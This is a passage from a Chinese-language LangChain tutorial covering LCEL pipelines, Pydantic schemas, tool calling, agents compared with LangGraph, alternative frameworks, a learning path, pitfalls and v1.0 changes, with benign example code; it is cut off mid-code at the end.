并行同步/异步批处理执行\n●stream/astream: 同步/异步流式输出执行\n所有组件都实现 Runnable 接口，从检索器到代理系统 ，确保了组件间的无缝互操作性，使得 LangChain 组件具有极高的可组合性。\n1⚡ 代码片段# 示例：链式组合 2chain = prompt | model | parser LCEL：声明式表达语言 LangChain Expression Language (LCEL) 是框架的\u0026quot;声明式方法构建生产级程序\u0026quot; 。通过管道操作符（|）实现组件的优雅组合，天然支持异步、批处理和流式操作，这使得基于LCEL的程序能够更好地扩展以处理更高的并发负载。\nLCEL 不仅仅是语法糖。它是一种声明式的编程范式。开发者只需声明 “数据如何流动”，而框架负责处理底层的执行、流式传输、并行化和日志记录。\n1⚡ python片段# pip install -U langchain langchain-openai 2 3from langchain_core.prompts import ChatPromptTemplate 4from langchain_openai import ChatOpenAI 5from langchain_core.output_parsers import StrOutputParser 6 7# 1) Prompt：定义输入模板 8prompt = ChatPromptTemplate.from_messages([ 9 (\u0026#34;system\u0026#34;, \u0026#34;你是精炼、可靠的中文助手。\u0026#34;), 10 (\u0026#34;human\u0026#34;, \u0026#34;用一句话回答：{question}\u0026#34;) 11]) 12 13# 2) LLM：任意 OpenAI 兼容服务均可（公有云/企业网关/vLLM 等） 14llm = ChatOpenAI( 15 model=\u0026#34;gpt-4o-mini\u0026#34;, # 换成你的模型名即可 16 api_key=\u0026#34;YOUR_KEY\u0026#34;, # 也可用环境变量 OPENAI_API_KEY 17 base_url=\u0026#34;http://localhost:8000/v1\u0026#34; # 选填：本地或内网的 OpenAI 兼容地址 18) 19 20# 3) Parser：把模型返回的消息对象转成纯字符串 21parser = StrOutputParser() 22 23# LCEL：像搭乐高一样用“|”把组件串起来 24chain = prompt | llm | parser 25 26# ——最简单的单次调用（演示用）—— 27print(chain.invoke({\u0026#34;question\u0026#34;: \u0026#34;LCEL 是什么？\u0026#34;})) 28 29# ——可选：流式演示（边生成边打印）—— 30for chunk in chain.stream({\u0026#34;question\u0026#34;: \u0026#34;给出一条使用 LCEL 的建议\u0026#34;}): 31 print(chunk, end=\u0026#34;\u0026#34;) 32print() 33 34# ——可选：批量演示（一次处理多条）—— 35print(chain.batch([ 36 {\u0026#34;question\u0026#34;: \u0026#34;一句话解释 LangChain\u0026#34;}, 37 {\u0026#34;question\u0026#34;: \u0026#34;一句话解释 LCEL 的优势\u0026#34;} 38])) Schema 与类型系统 LangChain 的类型系统建立在 Python 的类型提示和 Pydantic模型之上，提供了一套完整的类型定义来支持 LLM 应用开发。LangChain 的类型系统具有以下特点：\n1.强类型: 基于 Python 类型提示和 Pydantic，提供编译时和运行时类型检查\n2.可组合: 通过 Runnable 接口实现组件的灵活组合\n3.可序列化: 所有核心类型都继承自 Serializable\n4.灵活性: 支持多种 Schema 定义方式（Pydantic、TypedDict、JSON Schema）\n5.流式支持: 原生支持同步、异步、批处理和流式处理\n6.标准化: 统一的输入输出类型定义，便于组件互操作\nPydantic 由 Samuel Colvin 创建，核心思想是：“使用类型注解定义数据模型，Pydantic 自动帮你验证和转换数据。” 它基于 Python 3.6+ 的类型提示系统（如 str, int, List, Optional 等），通过定义继承自 BaseModel 的类，来描述期望的数据结构。\n想象一下，你正在指挥一个非常聪明但有点 “随心所欲” 的机器人。如果你只是模糊地说 “给我找点关于猫的资料”，它可能会给你一篇科学论文，一张猫的图片，或者一段猫叫的音频。这太不可预测了。LangChain 的 Schema 和类型系统，就像是给这个机器人的一套精确的 “指令图纸” 和 “数据表格”。它让你能够用一种机器人能精确理解的方式下达指令，并要求它以你想要的、规整的格式返回结果。下面我们通过几个场景和代码例子，来看看这些 “图纸” 和 “表格” 是怎么工作的。\n场景 1: 从简单的闲聊到有角色区分的对话 一开始，我们和 AI 的交互很简单，就是 “一问一答”。\n最基础的类型: Text (字符串): 这就是最原始的交互方式。\n1⚡ 代码片段# 这其实就是最基础的文本 Schema 2my_question = \u0026#34;你好，你叫什么名字？\u0026#34; 3ai_response = \u0026#34;我是AI助手。\u0026#34; 但这很快就不够用了。在一个持续的对话中，AI 需要知道哪句话是谁说的，才能更好地理解上下文。\n进阶类型: ChatMessage\nChatMessage 就是为了解决这个问题而生的 “对话表格”。它规定了每条消息都应该有 role (角色) 和 content (内容) 两列。主要角色有：\n○SystemMessage: 系统指令。给 AI 设定一个 “人设” 或总体的行为准则。\n○HumanMessage: 你的话。\n○AIMessage: AI 的话。\n每个元素都有明确的role 和content。 这让 AI 不再混乱，能够更好地进行多轮对话。\n场景 2: 我需要 AI 给我一个结构化的数据，而不是一段话 假设你想让 AI 帮你生成用户信息，并存入数据库。如果你只对它说 “生成一个用户，名叫张三，25 岁，邮箱是 zhangsan@email.com”，它可能会返回：\n●\u0026quot; 好的，用户信息如下：姓名：张三，年龄：25，邮箱：zhangsan@email.com\u0026quot;\n●\u0026quot; 张三，25 岁，邮箱 zhangsan@email.com\u0026quot;\n●\u0026quot; 这是一个名叫张三的用户，他今年 25 岁了，你可以通过 zhangsan@email.com 联系到他。\u0026quot;\n这些都是字符串，程序很难处理！我们需要的是一个干净的、可以直接用的 JSON 对象。这时，我们就要给 AI 一张 “图纸”，告诉它我们想要的输出格式。在 LangChain 中，最常用的 “绘图工具” 就是Pydantic 库。\n1⚡ python片段# 伪代码，演示核心逻辑 2from langchain_core.pydantic_v1 import BaseModel, Field 3from langchain_core.output_parsers import JsonOutputParser 4from langchain_openai import ChatOpenAI 5from langchain_core.prompts import PromptTemplate 6 7# 1. 用 Pydantic 画一张“图纸”，定义你想要的输出结构 8classUserProfile(BaseModel): 9 name: str = Field(description=\u0026#34;用户的全名\u0026#34;) 10 age: int = Field(description=\u0026#34;用户的年龄\u0026#34;) 11 email: str = Field(description=\u0026#34;用户的电子邮件地址\u0026#34;) 12 is_active: bool = Field(description=\u0026#34;用户账户是否活跃\u0026#34;) 13 14# 2. 创建一个输出解析器，告诉它要用哪张“图纸” 15parser = JsonOutputParser(pydantic_object=UserProfile) 16 17# 3. 在提示中，告诉AI要按照“图纸”的格式来回答 18prompt = PromptTemplate( 19 template=\u0026#34;\u0026#34;\u0026#34; 20 根据下面的用户信息，生成一个JSON对象。 21 用户信息：{user_info} 22 {format_instructions} 23 \u0026#34;\u0026#34;\u0026#34;, 24 input_variables=[\u0026#34;user_info\u0026#34;], 25 # 把“图纸”的说明书（格式指令）插入到提示中 26 partial_variables={\u0026#34;format_instructions\u0026#34;: parser.get_format_instructions()} 27) 28 29# 4. 创建模型并链接所有部分 30# model = ChatOpenAI(temperature=0) 31# chain = prompt | model | parser 32# 33# response = chain.invoke({\u0026#34;user_info\u0026#34;: \u0026#34;创建一个用户，名叫李四，30岁，邮箱是 lisi@email.com，账户是活跃的。\u0026#34;}) 34 35# 期望的 response 会是一个干净的 Python 字典，而不是字符串 36# print(response) 37# 38# 输出: 39# {\u0026#39;name\u0026#39;: \u0026#39;李四\u0026#39;, \u0026#39;age\u0026#39;: 30, \u0026#39;email\u0026#39;: \u0026#39;lisi@email.com\u0026#39;, \u0026#39;is_active\u0026#39;: True} 看到妙处了吗？通过定义UserProfile 这个 Schema，我们强制 AI 的输出符合我们预设的结构，让它的输出变得 100% 可预测和可用。\n场景 3: 让 AI 使用我们定义的工具 假设你想让 AI 能够查询天气。AI 本身是不知道今天天气的，但你可以提供一个查询天气的函数（工具）给它。但是，AI 怎么知道这个函数是干嘛的？需要哪些参数？\nLangChain 的 @tool 装饰器可以自动读取你函数的 “类型提示”(Type Hinting) 和文档字符串 (docstring)，并把它们变成一份 AI 能看懂的 “工具说明书”。\n1⚡ python片段# 伪代码，演示核心逻辑 2from langchain_core.tools import tool 3 4@tool 5def search_weather(city: str, unit: str = \u0026#34;celsius\u0026#34;) -\u0026gt; str: 6 \u0026#34;\u0026#34;\u0026#34; 7 根据城市名称查询实时天气。 8 :param city: 城市的名字，例如：北京 9 :param unit: 温度单位，可以是 \u0026#39;celsius\u0026#39; (摄氏度) 或 \u0026#39;fahrenheit\u0026#39; (华氏度) 10 \u0026#34;\u0026#34;\u0026#34; 11 # 这里的代码会真实地去调用天气API 12 if city == \u0026#34;北京\u0026#34;: 13 return f\u0026#34;北京现在的天气是 25°{unit}\u0026#34; 14 elif city == \u0026#34;上海\u0026#34;: 15 return f\u0026#34;上海现在的天气是 28°{unit}\u0026#34; 16 else: 17 return f\u0026#34;抱歉，我查询不到 {city} 的天气。\u0026#34; 18 19# 当你把这个工具提供给一个支持工具调用的AI模型时， 20# LangChain会自动生成类似这样的“说明书”给AI看： 21# Tool Name: search_weather 22# Tool Description: 根据城市名称查询实时天气。 23# Tool Arguments: 24# - name: city, type: string, description: 城市的名字，例如：北京 25# - name: unit, type: string, description: 温度单位，可以是 \u0026#39;celsius\u0026#39; (摄氏度) 或 \u0026#39;fahrenheit\u0026#39; (华氏度) 26 27# 当你问AI：“北京今天天气怎么样？” 28# AI会分析你的问题，发现需要查询天气，然后查看它手上的“工具说明书”。 29# 它会找到 search_weather 工具，并自动生成调用参数：{\u0026#34;city\u0026#34;: \u0026#34;北京\u0026#34;, \u0026#34;unit\u0026#34;: \u0026#34;celsius\u0026#34;} 30# 然后执行函数，得到结果，最后把结果用自然语言告诉你。 这里的 city: str 和 unit: str 就是 Schema 的一部分，它明确规定了工具需要什么类型的输入。文档字符串 \u0026ldquo;\u0026rdquo;\u0026quot;\u0026hellip;\u0026quot;\u0026quot;\u0026quot; 则成了 AI 理解工具功能的关键。\n核心抽象组件 LangChain 的架构围绕以下几个基本抽象组件构建，这些抽象组件共同构成了 LangChain 的核心架构，让开发者能够快速构建复杂的 LLM 应用。每个组件都有明确的职责，通过 Runnable 接口相互连接，形成了一个强大而灵活的框架。\nLanguage Models (语言模型) 提供文本生成、对话、推理等核心 AI 能力\n●BaseLanguageModel: 所有语言模型的基类,它继承自 RunnableSerializable，并定义了语言模型交互的通用接口 。它通过其 generate_prompt() 方法接受 PromptValue 对象 。\n●BaseChatModel: 对话模型（GPT-4、Claude）- 处理消息序列\n●BaseLLM: 文本生成模型 - 处理字符串输入输出\nPrompts (提示模板) 输入构造层，支持变量替换、少样本示例、消息格式化\n●BasePromptTemplate: 动态构造模型输入\n●ChatPromptTemplate: 构造对话消息序列\n●PromptTemplate: 构造文本提示\nMessages (消息) 对话交互的基本单元\n●BaseMessage: 所有消息的基类\n●HumanMessage: 用户消息\n●AIMessage: AI 回复\n●SystemMessage: 系统指令\n●ToolMessage: 工具调用结果\nDocuments (文档) 知识存储的基本单元，是 RAG（检索增强生成）的基础数据结构\n●Document: 包含 page_content（内容）和 metadata（元数据）\n●用于表示任何文本数据：网页、PDF、数据库记录等\nRetrievers (检索器) 知识检索层，RAG 架构的核心组件\n●BaseRetriever: 是文档检索系统的抽象基类，它实现了 Runnable 接口以实现可组合性。它定义了基于查询检索相关文档的标准接口。\n●连接向量数据库、搜索引擎、数据库等\nVector Stores (向量存储) 语义搜索的基础设施\n●VectorStore: 向量数据库的抽象接口\n●存储和检索文档的向量表示\n●支持相似度搜索、混合搜索等\nEmbeddings (嵌入) 文本向量化，提供了嵌入模型的抽象接口，定义了将文本转换为向量表示的方法。它要求实现 embeddocuments() 和 embedquery() 方法。是语义搜索和相似度计算的基础。\n●Embeddings: 将文本转换为向量表示\n●支持各种嵌入模型（OpenAI、Hugging Face 等）\nOutput Parsers (输出解析器) 结构化输出，确保模型输出符合预期格式\n●BaseOutputParser: 解析模型输出为结构化数据\n●PydanticOutputParser: 解析为 Pydantic 模型\n●JsonOutputParser: 解析为 JSON\nTools (工具) BaseTool 是供智能体（Agents）使用的工具（Tools）的抽象基础，继承自 RunnableSerializable，并为与外部系统交互提供了标准化接口 。是 Function Calling 和 Agent 的基础。\n●BaseTool: 定义模型可调用的外部功能\n●让模型能执行计算、查询数据库、调用 API 等\nCallbacks (回调) 观察和控制执行流程，提供执行过程的可见性\n●BaseCallbackHandler: 监听和响应执行事件\n●用于日志记录、调试、监控、流式输出等\nMemory/Cache (记忆/缓存) 状态管理，对话历史管理、会话状态保持\n●BaseCache: 缓存 LLM 响应，避免重复调用\n●BaseStore: 键值存储抽象\n对照表 这里是一个快速对照表，来将上文的 LangChain 模块与核心抽象组件之间做个对应。\n模块就像房间（客厅/厨房/卧室），抽象就像插座与标准接口（任意电器都能插上电并协同工作）。\n●主要模块 = 按 “职能分区” 的功能板块（编排、模型、检索、Agent、记忆、部署等），回答 “系统里有哪些能力”。\n●核心抽象 = 跨模块通用的接口 / 基类（如 Runnable、BaseChatModel、BaseRetriever…），回答 “各模块如何被替换与拼装”。\nAgent LangChain 框架完全可以构建 Agent，并且这是它自诞生以来最核心、最吸引人的功能之一。经典的 Agent（如 ReAct 范式）通过 AgentExecutor 实现一个 “思考 -\u0026gt; 行动 -\u0026gt; 观察” 的循环。LLM 在这个循环中扮演决策者，决定下一步调用哪个工具（Tool）。对于绝大多数单 Agent 任务，LangChain 的原生 Agent 完全够用。\n但是，当 Agent 的逻辑变得极其复杂，例如：\n1.需要循环和分支： 当流程不是线性，而是需要在多个步骤之间来回跳转。\n2.需要多 Agent 协作： 例如，一个 “分析师 Agent” 生成报告，交给 “代码生成 Agent” 编写代码，再由 “测试 Agent” 进行验证，如果测试失败，流程需要返回给 “分析师 Agent” 重新分析。\n3.需要持久化的状态管理： 在复杂的交互中，需要精确控制每一步的状态。\n这时 LangGraph 框架应运而生。它将 Agent 的工作流显式地定义为一个 状态图 (State Graph)。每个节点是一个工作单元（一个 LLM 调用或一个工具调用），每条边是状态的转移。它不是取代了 LangChain Agent，而是为构建更强大、更可控的 “状态化 Agent 系统” 提供了新的范式。\nLangGraph LangGraph 可以独立使用，但它也可以无缝集成到任何 LangChain 产品中。\nLangGraph 提供了比 LangChain 更底层、更灵活的控制能力，特别适合需要状态管理、人机协作和复杂流程编排的场景。而 LangChain 则更适合快速原型开发和简单的链式处理任务。两者可以协同使用：LangChain 的组件可以作为 LangGraph 的节点，但 LangGraph 也可以完全独立于 LangChain 使用。\n如果不用 LangGraph 开发，选择其他框架，推荐使用 CrewAI。\nLangGraph 架构 LangGraph 的执行流程遵循以下算法：\nLangChain 与 LangGraph 适用场景对比：\nLangChain 与 LangGraph 代码对比\nLangChain（使用 AgentExecutor）:\n1⚡ python片段# pip install -U langchain langchain-openai 2import os 3from datetime import datetime 4 5from langchain_openai import ChatOpenAI 6from langchain_core.tools import tool 7from langchain_core.prompts import ChatPromptTemplate 8from langchain.agents import create_tool_calling_agent, AgentExecutor 9 10# ========== Tools ========== 11@tool 12def multiply(a: float, b: float) -\u0026gt; float: 13 \u0026#34;\u0026#34;\u0026#34;Return a*b.\u0026#34;\u0026#34;\u0026#34; 14 return a * b 15 16@tool 17def get_time(fmt: str = \u0026#34;%Y-%m-%d %H:%M:%S\u0026#34;) -\u0026gt; str: 18 \u0026#34;\u0026#34;\u0026#34;Return current local time formatted by fmt.\u0026#34;\u0026#34;\u0026#34; 19 return datetime.now().strftime(fmt) 20 21tools = [multiply, get_time] 22 23# ========== LLM ========== 24llm = ChatOpenAI(model=\u0026#34;gpt-4o-mini\u0026#34;, temperature=0) 25 26# ========== Agent ========== 27prompt = ChatPromptTemplate.from_messages([ 28 (\u0026#34;system\u0026#34;, \u0026#34;You are a concise tool-using agent. Use the tools when helpful. Reply in Chinese.\u0026#34;), 29 (\u0026#34;human\u0026#34;, \u0026#34;{input}\u0026#34;) 30]) 31 32agent = create_tool_calling_agent(llm, tools, prompt) 33executor = AgentExecutor(agent=agent, tools=tools, verbose=True) 34 35# ========== Demo ========== 36res = executor.invoke({ 37 \u0026#34;input\u0026#34;: \u0026#34;先用 multiply 计算 7×12，再调用 get_time 给出当前时间。答案只要一行。\u0026#34; 38}) 39print(\u0026#34;Final:\u0026#34;, res[\u0026#34;output\u0026#34;]) 我来画出详细的流程图，展示这个 LangChain Agent 的执行过程：\nLangGraph 代码：\n1⚡ python片段# pip install -U langgraph langchain langchain-openai 2from datetime import datetime 3from typing import Sequence 4from typing_extensions import TypedDict 5 6from langchain_core.tools import tool 7from langchain_core.messages import AnyMessage, HumanMessage 8from langchain_openai import ChatOpenAI 9 10from langgraph.graph import StateGraph, END # END 表示图的终点 11from langgraph.prebuilt import ToolNode, tools_condition # 预置的“工具节点”和“是否需要走工具”的路由函数 12 13# ===== 工具定义：用 @tool 自动生成 JSON Schema，便于模型函数调用 ===== 14@tool 15def multiply(a: float, b: float) -\u0026gt; float: # 定义乘法工具 16 return a * b 17 18@tool 19def get_time(fmt: str = \u0026#34;%Y-%m-%d %H:%M:%S\u0026#34;) -\u0026gt; str: # 定义获取时间工具 20 return datetime.now().strftime(fmt) 21 22tools = [multiply, get_time] # 工具列表（给模型/工具节点用） 23 24# ===== 绑定工具到模型：让 LLM 知道有哪些可调用的函数（工具） ===== 25llm = ChatOpenAI(model=\u0026#34;gpt-4o-mini\u0026#34;, temperature=0).bind_tools(tools) 26# bind_tools(...) 的效果： 27# 1) 把 tools 的参数签名/描述转成 JSON Schema 给模型； 28# 2) 让模型在需要时产生 tool_calls（函数调用）结构，而不是直接“胡说答案”。 29 30# ===== 定义“状态”的数据结构：LangGraph 的节点之间传的就是这个 State ===== 31classS(TypedDict): 32 messages: Sequence[AnyMessage] # 一串消息（人类/AI/工具消息），作为“对话上下文” 33 34# ===== 定义一个“模型节点”：输入 State，调用 LLM，输出一条 AI 消息 ===== 35def agent_node(state: S): 36 # 关键：把现有 messages（含用户、人类消息、工具结果等）喂给 LLM 37 ai_msg = llm.invoke(state[\u0026#34;messages\u0026#34;]) # 可能返回带 tool_calls 的 AIMessage 38 return {\u0026#34;messages\u0026#34;: [ai_msg]} # LangGraph 会把这条消息合并到全局 state 39 40# ===== 搭建“有向图”：节点 + 边，决定执行路径 ===== 41g = StateGraph(S) # 新建一个“状态图”，S 是状态类型（结构） 42 43# ——① 注册节点（起名叫 \u0026#34;agent\u0026#34; 和 \u0026#34;tools\u0026#34;）—— 44g.add_node(\u0026#34;agent\u0026#34;, agent_node) # 把上面的函数包装成一个图节点 45g.add_node(\u0026#34;tools\u0026#34;, ToolNode(tools)) # 预置的工具节点：会读取 AI 的 tool_calls 并执行 46 47# ——② 设置“入口节点”：从哪个节点开始跑—— 48g.set_entry_point(\u0026#34;agent\u0026#34;) # ★ 从 \u0026#34;agent\u0026#34; 开始（也就是先问一次模型） 49# 解释：这句相当于“第一步进图先走哪个节点”。如果不设，编译时会报错或不知道从哪开始。 50 51# ——③ 配置“条件边”：根据模型输出决定接下来走哪条边—— 52g.add_conditional_edges( 53 \u0026#34;agent\u0026#34;, # 从 \u0026#34;agent\u0026#34; 节点出来时 54 tools_condition, # 用预置的判断函数：看 AIMessage 是否包含 tool_calls 55 {\u0026#34;tools\u0026#34;: \u0026#34;tools\u0026#34;, \u0026#34;end\u0026#34;: END} # 如果需要工具→去 \u0026#34;tools\u0026#34;；否则→直接结束 56) 57# 解释：tools_condition 会检查最新一条 AI 消息。 58# - 若模型产生了函数调用（tool_calls），返回路由键 \u0026#34;tools\u0026#34; 59# - 若没有需要的工具调用，返回路由键 \u0026#34;end\u0026#34; 60# 这行把路由键映射为真正的边：“tools”→去 tools 节点，“end”→走到 END（图的终点）。 61 62# ——④ 把工具节点执行完后的边接回“agent”，形成闭环—— 63g.add_edge(\u0026#34;tools\u0026#34;, \u0026#34;agent\u0026#34;) 64# 解释：当 tools 节点执行完所有函数调用，会把结果（ToolMessage）追加到 state.messages， 65# 然后回到 \u0026#34;agent\u0026#34; 再问一次模型。直到模型不再发起新的 tool_calls。 66 67# ——⑤ 编译成可运行的“应用”对象—— 68app = g.compile() 69# 解释：compile() 会把上面定义的节点/边/合并策略等打包成可执行的图（可 invoke/stream）。 70 71# ===== 运行：给一条人类消息，按图的“入口节点”开始执行 ===== 72final = app.invoke({ 73 \u0026#34;messages\u0026#34;: [HumanMessage(content=\u0026#34;先用 multiply 计算 7×12，再调用 get_time 报当前时间。只要一行中文。\u0026#34;)] 74}) 75# 解释：invoke 会： 76# step1: 进入入口 \u0026#34;agent\u0026#34; → LLM 读到 HumanMessage，判断要不要调用工具； 77# step2: 如果需要工具 → 路由到 \u0026#34;tools\u0026#34; 执行（得到 ToolMessage）→ 回到 \u0026#34;agent\u0026#34;； 78# step3: 重复 step1~2，直到不需要工具 → 按条件边路由到 END → 返回最终状态。 79 80print(final[\u0026#34;messages\u0026#34;][-1].content) # 打印最后一条 AI 的自然语言回复 LangGraph 详细执行流程：\n竞品 如果不使用 LangChain 开发 AI/LLM 应用，以下是主要的替代框架选择：\n以下是按要求整理的表格内容：\n框架 定位/标签 语言/平台 核心优势关键词 典型场景 🔎RAG 👥Agent 🏢企业 🎯输出控制 🪶轻量 LlamaIndex RAG 与数据检索专家 Py/TS 多索引策略、查询路由、强检索、结构/非结构数据 知识库问答、文档分析、RAG ★★★★★ ★★☆☆☆ ★★★☆☆ ★★☆☆☆ ★★★☆☆ CrewAI 多智能体团队协作 Py 角色/任务、顺序/并行/层级协作、社区活跃 多智能体系统、内容流水线、任务分解 ★★☆☆☆ ★★★★★ ★★★☆☆ ★★☆☆☆ ★★★☆☆ Semantic Kernel 企业级 AI 编排 C#/Py/Java 技能/规划器、Azure 深度集成、微软背书 企业应用、复杂规划、微软技术栈 ★★★☆☆ ★★★☆☆ ★★★★★ ★★☆☆☆ ★★☆☆☆ Haystack NLP/搜索系统专家 Py Pipeline 清晰、文档处理强、评测完善、重隐私 QA 系统、语义搜索、信息抽取 ★★★★☆ ★★☆☆☆ ★★★★☆ ★★☆☆☆ ★★★☆☆ AutoGen 自动化对话与代码生成 Py 代码生成/执行、多 Agent 对话、自动化流程、人机协作 代码生成、数据分析自动化、技术任务 ★★☆☆☆ ★★★★☆ ★★★☆☆ ★★☆☆☆ ★★★☆☆ Guidance 精确输出控制 Py 模板语言、强格式约束、轻量高效 结构化输出、格式化生成、提示工程 ★☆☆☆☆ ★☆☆☆☆ ★★★☆☆ ★★★★★ ★★★★☆ 还有一些新兴 / 特色框架：\n以下是按要求整理的表格内容：\n框架 定位/标签 语言/平台 核心优势关键词 典型场景 🔎RAG 👥Agent 🏢企业 🎯输出控制 🪶轻量 LiteLLM 统一 LLM API Py 100+ 模型统一接口、超轻量、零依赖 简单 LLM 调用、多模型切换、原型 ★☆☆☆☆ ★☆☆☆☆ ★★★☆☆ ★★☆☆☆ ★★★★★ DSPy 声明式/自动提示优化 Py 可学习模块、自动调参、学术完善 指标导向优化、研究/实验 ★★★☆☆ ★★☆☆☆ ★★☆☆☆ ★★★☆☆ ★★★☆☆ txtai 轻量 Transformers 框架 Py HF 生态、内置向量库、性能好 轻量语义搜索、嵌入式应用 ★★★☆☆ ★☆☆☆☆ ★★☆☆☆ ★★☆☆☆ ★★★★☆ MetaGPT “AI 软件公司”模拟 Py 角色分工、项目级生成、代码产出 自动化软件开发、代码生成 ★☆☆☆☆ ★★★★☆ ★★☆☆☆ ★★☆☆☆ ★★☆☆☆ 在实际开发中，如不用 LangChain， 选型范围会缩小到最流行的几个竞品，比如：\n●🦙 LlamaIndex：原名 GPT-Index，是一个开源的数据框架，专门用于构建大型语言模型 (LLM) 应用。它主要解决了如何将 LLM 与外部数据有效连接的问题，使开发者能够创建更强大的知识密集型应用。\n●🚢 CrewAI：多智能体团队协作框架，CrewAI 是一个轻量、快速的 Python 框架，完全从零构建，与 LangChain 或其他代理框架完全无关。它为开发者提供高级别的简洁性和精确的底层控制，非常适合创建适用于任何场景的自主 AI 代理。\n●🔧 Haystack：一个端到端的大型语言模型（LLM）框架，它允许你构建由 LLM、Transformer 模型、向量搜索等功能驱动的应用程序。\n●🚀 AutoGen：用于创建能够自主行动或与人类协作的多智能体AI应用的框架\n需要注意的是：这些框架不是互斥的，可以组合使用（如 LlamaIndex + CrewAI）\n推荐学习路径 掌握灵魂 ——LCEL (LangChain Expression Language) 这是当前 LangChain 的绝对核心，也是最佳实践的开端。忘记很多旧的、高阶的 Chain 对象，从 LCEL 开始。\n实践: 构建你第一个，也是最重要的 LCEL 链：\n1⚡ python片段from langchain_core.prompts import ChatPromptTemplate 2from langchain_openai import ChatOpenAI 3from langchain_core.output_parsers import StrOutputParser 4 5# 1. 定义提示模板 (Prompt) 6prompt = ChatPromptTemplate.from_template(\u0026#34;请给我讲一个关于{topic}的笑话。\u0026#34;) 7# 2. 初始化模型 (Model) 8model = ChatOpenAI() 9# 3. 定义输出解析器 (Parser) 10output_parser = StrOutputParser() 11 12# 4. 使用管道符 | 链接起来 13chain = prompt | model | output_parser 14 15# 5. 执行链 16result = chain.invoke({\u0026#34;topic\u0026#34;: \u0026#34;程序员\u0026#34;}) 17print(result) 这个 | 管道符就是 “数据流” 的体现。invoke 的输入字典首先流入 prompt 变成一个完整的提示，然后流入 model 得到模型的响应，最后流入 output_parser 提取出字符串结果。\n构建最核心的应用 ——RAG 理解了 LCEL 后，构建一个基础的 RAG 应用来贯穿大部分核心组件。\n实践:\n1.加载 (Load): 使用 TextLoader 或 PyPDFLoader 加载一个本地文件。\n2.分割 (Split): 使用 RecursiveCharacterTextSplitter 将文档分割成块 (Chunks)。\n3.存储 (Store): 使用 OpenAIEmbeddings 创建嵌入，并使用 FAISS 或 Chroma 等向量数据库进行存储。\n4.检索 (Retrieve): 从向量数据库创建一个 retriever 对象。\n5.生成 (Generate): 使用 LCEL 将检索到的内容、用户问题和模型调用组合成一个完整的 RAG 链。这比使用旧的 RetrievalQA 链更能让你理解内部原理。\n进入高阶 ——Agents 当你的应用需要与外部世界交互（如调用 API、查询数据库）时，才需要 Agent。\n实践:\n1.定义一两个简单的 Tool，例如一个用于数学计算的工具，一个用于获取当前日期的工具。\n2.选择一个 Agent 类型 (如 createopenaitools_agent)。\n3.使用 AgentExecutor 来运行它，观察它如何根据你的问题选择工具、执行并返回结果。\n常见陷阱与挑战 抽象泄漏 (Leaky Abstraction) 定义: 一个 “抽象” 旨在隐藏底层实现的复杂性。当这个抽象无法完全隐藏底层细节，导致你必须理解底层是如何工作的才能正确地使用它或排查问题时，就发生了 “抽象泄漏”。\nLangChain 中的具体例子 (以旧版的 RetrievalQA 链为例):\n●美好的抽象: RetrievalQA 链看起来很简单，你只需要给它一个 llm 和一个 retriever，它就能帮你完成 RAG。你期望它能 “神奇地” 工作。\n●泄漏的现实:\na.Prompt 在哪里？ 你发现问答效果不好。为什么？因为 RetrievalQA 内部使用了一个默认的、隐藏的 Prompt 模板 (类似 \u0026ldquo;Use the following pieces of context to answer the user\u0026rsquo;s question\u0026hellip;\u0026quot;)。这个默认模板可能不适合你的模型（比如某些中文模型），或者不符合你的业务场景。\nb.文档如何组合？ 当 retriever 返回了 4 个文档块 (Chunks) 时，这些文档是如何被塞进最终的 Prompt 里的？是简单拼接吗？如果超过了模型的上下文窗口怎么办？RetrievalQA 有一个 chaintype 参数（如 stuff, mapreduce）来控制这个行为。\n问题的根源: 为了解决上述问题，你被迫去阅读 LangChain 的源码，去理解 RetrievalQA 内部隐藏的 Prompt 和文档组合逻辑。这时，RetrievalQA 这个本应让你省心的 “高级抽象”，反而成了你理解和调试的障碍。抽象 “泄漏” 了底层的实现细节。\n如何应对？\n拥抱 LCEL: LCEL 在很大程度上解决了这个问题。通过 prompt | model | parser 的方式， Prompt 是显式的，数据流是清晰的。你可以完全控制每一个环节，没有 “魔法” 和隐藏的逻辑。这是一种更 “白盒” 的构建方式，虽然初看起来代码多了一点，但可控性和可调试性大大增强。当然还有一种方案就是 “取其精华，去其糟粕”，LangChain 框架引入后，只用必要的部分组件，其余需要灵活处理的部分，全手写。\n调试的 “黑盒感” 问题: 链的最终输出不符合预期，但中间过程完全不可见，不知道是 Prompt 错了、检索出的文档错了，还是模型理解错了。\n解决方案: LangSmith。这是解决此问题的标准答案。设置环境变量 LANGCHAINTRACINGV2=\u0026ldquo;true\u0026rdquo; 即可开始追踪。用不了 LangSmith 的话，也可以用开源的 langfuse 替代。\n对简单任务过度设计 问题: 你的任务只是需要根据一个模板调用一次 OpenAI API。这种情况下，引入 LangChain 的 LLMChain 相比直接使用 openai 库的 client.chat.completions.create()，增加了不必要的复杂性。\n解决方案: 保持务实。如果你的应用逻辑非常简单，就是一个单一的 LLM 调用，那么直接使用原生 SDK 可能更清晰、更轻量。当且仅当你需要编排多个步骤（如 RAG）、管理记忆、或使用 Agents 时，LangChain 的价值才能最大化。\nLangChain 的版本演进 v1.0 alpha：和 v0.x 的关键差异 v1.0 alpha（2025-09）是 LangChain 的一次 “面向长期” 的大改版\n核心变化\n●消息模型统一：新增 .content_blocks（标准化的 “内容块” 视图），把不同厂商的 “推理、引用、服务端工具调用、多模态” 等表示成 同一种类型，减少 provider 差异带来的胶水代码；对旧 .content 后向兼容。\n●Agent 重心调整：create_agent() 成为默认入口，底层基于 LangGraph 的图式运行时（持久化、流式、人审 / 中断、错误处理更规范）。\n●包面积极度收敛：langchain 更聚焦 “标准接口 + 预置 Agent / 链”；历史面迁到 langchain-legacy，便于兼容老代码再慢慢重构。\n●默认行为与平台要求：\n○Python 需 ≥3.10；Chat 模型返回类型固定为 AIMessage；OpenAI Responses API 的默认输出版本调整（可用 LCOUTPUTVERSION=v0 退回）；Anthropic max_tokens 默认值上调。\n○JS / TS 侧：核心原语（createAgent、ToolNode、tool、消息类型）直接从 langchain 导出；Node.js 需 ≥20；大量老子路径导出清理。\n三个常见场景 1.“会用工具、可结构化返回” 的 Agent\nv0.x（典型写法）：构建 Agent + Executor，再自己管结构化解析 / 二次调用\n1⚡ python片段# 旧式（示意）：AgentExecutor + 自行处理结构化输出 2from langchain_openai import ChatOpenAI 3from langchain.agents import AgentExecutor, initialize_agent 4from pydantic import BaseModel 5 6class Weather(BaseModel): 7 temperature: float 8 condition: str 9 10llm = ChatOpenAI(model=\u0026#34;gpt-4o-mini\u0026#34;) 11tools = [get_weather] 12 13agent = initialize_agent(tools, llm, 